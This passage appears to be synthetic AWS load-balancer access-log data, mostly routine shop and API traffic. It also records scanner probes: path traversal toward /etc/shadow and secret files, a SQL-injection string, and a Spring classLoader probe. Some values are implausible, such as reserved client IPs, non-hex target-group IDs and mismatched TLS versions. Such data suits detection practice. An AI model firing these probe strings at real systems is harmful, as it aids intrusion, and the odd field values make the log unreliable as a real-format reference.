ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beae-0a614c82f4ce4253b2081a8e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:22.474021Z "forward" "-" "-" "10.0.30.122:443" "200" "-" "-" +https 2024-11-01T00:30:23.757056Z prod-api-alb 168.183.212.142:47052 10.0.35.166:443 0.042090 0.218548 0.024826 200 200 12 5263 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beaf-e79b2fdbb25942fc9662b43e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:23.757056Z "forward" "-" "-" "10.0.35.166:443" "200" "-" "-" +http 2024-11-01T00:30:24.763653Z staging-alb 78.139.60.234:44123 218.140.162.205:443 0.076911 0.496892 0.059650 200 200 234 11223 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb0-209f0da831874cc9878e8f1a" "staging-alb.example.com" "-" 5 2024-11-01T00:30:24.763653Z "forward" "-" "-" "218.140.162.205:443" "200" "-" "-" +https 2024-11-01T00:30:25.076532Z prod-api-alb 192.249.143.81:25036 10.0.252.134:443 0.017286 0.212342 0.050775 200 200 144 6659 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beb1-4b9228d605f04f658c5ca856" "prod-api-alb.example.com" "-" 3 2024-11-01T00:30:25.076532Z "forward" "-" "-" "10.0.252.134:443" "200" "-" "-" +https 2024-11-01T00:30:26.783735Z prod-api-alb 252.85.213.157:26267 10.0.185.34:443 0.001806 0.340457 0.021153 200 200 594 9675 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb2-852c689d5f194d6ea816a981" "prod-api-alb.example.com" "-" 3 2024-11-01T00:30:26.783735Z "forward" "-" "-" "10.0.185.34:443" "200" "-" "-" +https 2024-11-01T00:30:27.265090Z prod-web-alb 53.20.66.125:58010 10.0.78.23:443 0.002118 0.065497 0.095099 404 404 354 1957 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb3-573d6dcde7024787b769a63b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:30:27.265090Z "forward" "-" "-" "10.0.78.23:443" "404" "-" "-" +https 2024-11-01T00:30:28.892904Z prod-web-alb 202.250.19.241:13566 10.0.147.239:443 0.094244 0.443033 0.041279 301 301 226 1523 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beb4-0dee9bb05ab5482da7572795" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:28.892904Z "forward" "-" "-" "10.0.147.239:443" "301" "-" "-" +https 2024-11-01T00:30:29.173290Z prod-api-alb 93.139.211.13:29904 10.0.192.61:443 0.072759 0.093097 0.008698 302 302 221 14571 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb5-5fd151cf6d4449c29838ca55" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:29.173290Z "forward" "-" "-" "10.0.192.61:443" "302" "-" "-" +https 2024-11-01T00:30:30.134292Z prod-web-alb 185.181.68.44:16723 10.0.54.79:443 0.078427 0.246195 0.071789 403 403 684 12203 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb6-f8150fa54e734384bd3c9602" "-" "-" 1 2024-11-01T00:30:30.134292Z "forward" "-" "-" "10.0.54.79:443" "403" "-" "-" +https 2024-11-01T00:30:30.814548Z prod-web-alb 214.12.199.38:54484 10.0.153.178:443 0.014308 0.057620 0.010823 301 301 150 3549 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb6-3f336c8b6b6c4d21820432c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:30.814548Z "forward" "-" "-" "10.0.153.178:443" "301" "-" "-" +https 2024-11-01T00:30:31.799229Z staging-alb 212.114.220.67:48879 158.207.79.205:8080 0.009452 0.577023 0.138023 200 200 641 14607 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb7-910808cb641e402bafc1546b" "staging-alb.example.com" "-" 9 2024-11-01T00:30:31.799229Z "forward" "-" "-" "158.207.79.205:8080" "200" "-" "-" +https 2024-11-01T00:30:33.162170Z staging-alb 105.100.39.69:10645 195.195.245.155:8080 0.110711 0.531764 0.133208 200 200 10 3065 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb9-cc7a2f5300c04b06a48a8fe8" "staging-alb.example.com" "-" 8 2024-11-01T00:30:33.162170Z "forward" "-" "-" "195.195.245.155:8080" "200" "-" "-" +https 2024-11-01T00:30:33.847279Z prod-api-alb 202.206.142.247:15160 10.0.227.88:443 0.054543 0.020077 0.056907 200 200 20 12561 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb9-efa33d315ff44cb1ac58424f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:33.847279Z "forward" "-" "-" "10.0.227.88:443" "200" "-" "-" +https 2024-11-01T00:30:35.652336Z prod-web-alb 45.155.205.51:34149 10.0.139.72:443 0.001096 0.377502 0.042815 404 404 866 9919 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebb-71e5d7abd3e64b6ea80ae4eb" "-" "-" 10 2024-11-01T00:30:35.652336Z "forward" "-" "-" "10.0.139.72:443" "404" "-" "-" +https 2024-11-01T00:30:36.257667Z prod-api-alb 133.98.17.149:28193 10.0.111.33:443 0.021979 0.205556 0.019295 404 404 114 14746 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bebc-f7861123976f417a84fa1499" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:36.257667Z "forward" "-" "-" "10.0.111.33:443" "404" "-" "-" +https 2024-11-01T00:30:38.013909Z prod-web-alb 79.34.27.109:56754 10.0.216.37:443 0.079828 0.328792 0.024874 302 302 36 8269 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebe-77613c015d7d4e8186ee2cbb" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:38.013909Z "forward" "-" "-" "10.0.216.37:443" "302" "-" "-" +https 2024-11-01T00:30:39.987035Z prod-web-alb 30.160.78.75:19047 10.0.79.194:443 0.080209 0.079692 0.021774 200 200 603 5784 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebf-35b779d2876f4c62a194fb57" "prod-web-alb.example.com" "-" 4 2024-11-01T00:30:39.987035Z "forward" "-" "-" "10.0.79.194:443" "200" "-" "-" +https 2024-11-01T00:30:40.308492Z staging-alb 247.217.3.79:15735 105.46.71.172:443 0.138343 0.247813 0.054116 302 302 894 12701 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bec0-a5ec883a03bc4a498f810b9d" "staging-alb.example.com" "-" 4 2024-11-01T00:30:40.308492Z "forward" "-" "-" "105.46.71.172:443" "302" "-" "-" +https 2024-11-01T00:30:41.741466Z prod-web-alb 125.174.243.71:35173 10.0.35.82:443 0.003686 0.096680 0.091420 200 200 55 9800 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bec1-89374674f6d2450292bb780a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:41.741466Z "forward" "-" "-" "10.0.35.82:443" "200" "-" "-" +https 2024-11-01T00:30:42.287323Z prod-api-alb 0.239.133.168:46791 10.0.112.40:443 0.011259 0.010223 0.042659 302 302 710 10169 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec2-42fb06e929b3440285048e6b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:42.287323Z "forward" "-" "-" "10.0.112.40:443" "302" "-" "-" +https 2024-11-01T00:30:42.401723Z prod-web-alb 137.163.144.181:49015 10.0.55.171:443 0.030579 0.326429 0.024134 302 302 849 245 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bec2-e8c71f6a0bfb4078a007700f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:30:42.401723Z "forward" "-" "-" "10.0.55.171:443" "302" "-" "-" +http 2024-11-01T00:30:42.974646Z staging-alb 91.160.226.177:18654 103.228.141.136:443 0.113162 0.640941 0.088602 200 200 153 6478 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bec2-3b0d4f9087654631a9ee182c" "staging-alb.example.com" "-" 6 2024-11-01T00:30:42.974646Z "forward" "-" "-" "103.228.141.136:443" "200" "-" "-" +https 2024-11-01T00:30:44.127870Z prod-api-alb 185.181.55.98:38511 10.0.248.225:443 0.075886 0.061037 0.016185 401 401 212 11578 "POST /administrator HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec4-dc912dc608024469a2de8879" "-" "-" 5 2024-11-01T00:30:44.127870Z "forward" "-" "-" "10.0.248.225:443" "401" "-" "-" +https 2024-11-01T00:30:45.445452Z prod-api-alb 83.250.157.239:38728 10.0.205.28:443 0.043655 0.226167 0.023951 302 302 196 12498 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec5-95b2cea0e0fc4121af25e0b9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:30:45.445452Z "forward" "-" "-" "10.0.205.28:443" "302" "-" "-" +https 2024-11-01T00:30:46.039395Z prod-api-alb 193.27.228.181:38063 10.0.104.216:443 0.070687 0.467169 0.056906 404 404 900 9948 "GET /images/../../../../etc/shadow HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bec6-300f78246d53414fba9b794c" "-" "-" 2 2024-11-01T00:30:46.039395Z "forward" "-" "-" "10.0.104.216:443" "404" "-" "-" +https 2024-11-01T00:30:47.067616Z prod-web-alb 51.77.231.55:16555 10.0.170.238:443 0.083126 0.476302 0.010906 404 404 788 3658 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bec7-6f8b68f207254575a84243ed" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:47.067616Z "forward" "-" "-" "10.0.170.238:443" "404" "-" "-" +https 2024-11-01T00:30:47.922061Z staging-alb 224.0.184.48:39001 224.251.22.244:80 0.000913 0.678053 0.017307 404 404 365 9875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bec7-e55585f583324036b209765a" "-" "-" 8 2024-11-01T00:30:47.922061Z "forward" "-" "-" "224.251.22.244:80" "404" "-" "-" +https 2024-11-01T00:30:48.617453Z prod-api-alb 0.150.83.26:22449 10.0.8.122:443 0.010498 0.221400 0.045997 200 200 416 13902 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec8-3063413bf7a2443fa12b8f66" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:48.617453Z "forward" "-" "-" "10.0.8.122:443" "200" "-" "-" +https 2024-11-01T00:30:50.587256Z staging-alb 45.155.205.51:28998 78.106.60.78:443 0.096440 0.503032 0.085433 403 403 686 2090 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beca-fd6c16a0b6b94336aa56734e" "-" "-" 9 2024-11-01T00:30:50.587256Z "forward" "-" "-" "78.106.60.78:443" "403" "-" "-" +https 2024-11-01T00:30:52.512224Z prod-web-alb 76.136.136.246:26725 10.0.185.221:443 0.022564 0.232137 0.098634 302 302 18 4460 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723becc-e39c7d61950647848409652f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:30:52.512224Z "forward" "-" "-" "10.0.185.221:443" "302" "-" "-" +http 2024-11-01T00:30:54.168422Z staging-alb 185.181.125.99:49053 152.4.1.193:8080 0.048240 0.086439 0.110128 404 404 671 2562 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bece-9d4ca805917140e0a7b5eaa4" "-" "-" 0 2024-11-01T00:30:54.168422Z "forward" "-" "-" "152.4.1.193:8080" "404" "-" "-" +https 2024-11-01T00:30:55.071682Z prod-api-alb 246.69.12.35:12220 10.0.12.34:443 0.077263 0.260253 0.042876 200 200 861 4149 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723becf-165232db6d1c4853aab69589" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:55.071682Z "forward" "-" "-" "10.0.12.34:443" "200" "-" "-" +https 2024-11-01T00:30:56.302409Z prod-api-alb 62.251.167.218:58267 10.0.1.190:443 0.034819 0.093362 0.096203 200 200 170 9644 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed0-46938b99e66c420cb523dbb5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:56.302409Z "forward" "-" "-" "10.0.1.190:443" "200" "-" "-" +https 2024-11-01T00:30:57.492640Z prod-web-alb 15.226.20.12:59596 10.0.197.37:443 0.090465 0.177106 0.058006 301 301 958 14638 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed1-ddf25df04c6f43efba0dcfe2" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:57.492640Z "forward" "-" "-" "10.0.197.37:443" "301" "-" "-" +https 2024-11-01T00:30:58.160239Z prod-web-alb 185.181.26.16:42903 10.0.113.117:443 0.098538 0.424832 0.094067 500 500 940 5197 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bed2-605e9f98284d4d579dac823d" "-" "-" 5 2024-11-01T00:30:58.160239Z "forward" "-" "-" "10.0.113.117:443" "500" "-" "-" +https 2024-11-01T00:30:58.809131Z prod-web-alb 228.145.49.223:37385 10.0.118.6:443 0.021787 0.117231 0.042679 301 301 644 4821 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed2-d5caff6427d341faaa4272d0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:58.809131Z "forward" "-" "-" "10.0.118.6:443" "301" "-" "-" +https 2024-11-01T00:30:59.285929Z prod-api-alb 125.84.81.253:51049 10.0.125.37:443 0.087000 0.025241 0.064336 301 301 348 7394 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed3-744905a522554ab7bbdb06d7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:30:59.285929Z "forward" "-" "-" "10.0.125.37:443" "301" "-" "-" +https 2024-11-01T00:31:00.614727Z prod-web-alb 180.127.57.241:12534 10.0.220.224:443 0.060926 0.291123 0.090084 302 302 961 10519 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bed4-09bb5c493f2c4846af6beba3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:31:00.614727Z "forward" "-" "-" "10.0.220.224:443" "302" "-" "-" +https 2024-11-01T00:31:01.382804Z prod-web-alb 143.50.76.105:51190 10.0.154.84:443 0.027140 0.056419 0.066363 301 301 703 7347 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed5-fdcafbc85db748caa8f108d2" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:01.382804Z "forward" "-" "-" "10.0.154.84:443" "301" "-" "-" +http 2024-11-01T00:31:01.721740Z staging-alb 175.32.24.189:53211 37.240.106.41:443 0.076184 0.284932 0.114224 404 404 746 12243 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bed5-c4226d3649df4f7d82b9a466" "staging-alb.example.com" "-" 3 2024-11-01T00:31:01.721740Z "forward" "-" "-" "37.240.106.41:443" "404" "-" "-" +https 2024-11-01T00:31:03.397059Z prod-api-alb 222.254.148.105:41873 10.0.246.13:443 0.098446 0.064848 0.020027 301 301 39 8861 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bed7-eb967514d70442fd90f6d29b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:31:03.397059Z "forward" "-" "-" "10.0.246.13:443" "301" "-" "-" +https 2024-11-01T00:31:05.259242Z prod-web-alb 128.98.204.68:42051 10.0.230.11:443 0.089580 0.105108 0.054704 200 200 600 5949 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed9-71acea01fa3748cfad5db78a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:31:05.259242Z "forward" "-" "-" "10.0.230.11:443" "200" "-" "-" +https 2024-11-01T00:31:05.514976Z prod-api-alb 23.76.8.74:36753 10.0.200.125:443 0.000335 0.251173 0.071597 200 200 959 11045 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed9-b3e214c26bd04f068f083b62" "prod-api-alb.example.com" "-" 4 2024-11-01T00:31:05.514976Z "forward" "-" "-" "10.0.200.125:443" "200" "-" "-" +https 2024-11-01T00:31:06.244737Z prod-web-alb 149.197.33.183:45590 10.0.74.32:443 0.066533 0.369453 0.047134 200 200 684 13644 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beda-54b41fe8d1144bab9ff1e95b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:06.244737Z "forward" "-" "-" "10.0.74.32:443" "200" "-" "-" +https 2024-11-01T00:31:07.416308Z prod-web-alb 108.141.193.149:29870 10.0.225.132:443 0.030928 0.193949 0.039245 200 200 467 3692 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedb-5959f2c8fc7a441c9b67e898" "prod-web-alb.example.com" "-" 10 2024-11-01T00:31:07.416308Z "forward" "-" "-" "10.0.225.132:443" "200" "-" "-" +https 2024-11-01T00:31:09.017535Z prod-web-alb 71.87.224.84:22857 10.0.104.20:443 0.020553 0.282792 0.061239 200 200 584 14717 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedd-4c7f936b7681433ab0a8ceeb" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:09.017535Z "forward" "-" "-" "10.0.104.20:443" "200" "-" "-" +https 2024-11-01T00:31:09.178025Z prod-api-alb 86.107.236.214:61331 10.0.161.33:443 0.071748 0.120976 0.007045 301 301 869 11725 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bedd-01b5f1ce29f44f71a5807000" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:09.178025Z "forward" "-" "-" "10.0.161.33:443" "301" "-" "-" +https 2024-11-01T00:31:10.971817Z prod-api-alb 247.148.76.168:53482 10.0.231.242:443 0.080246 0.344775 0.028358 200 200 481 4049 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 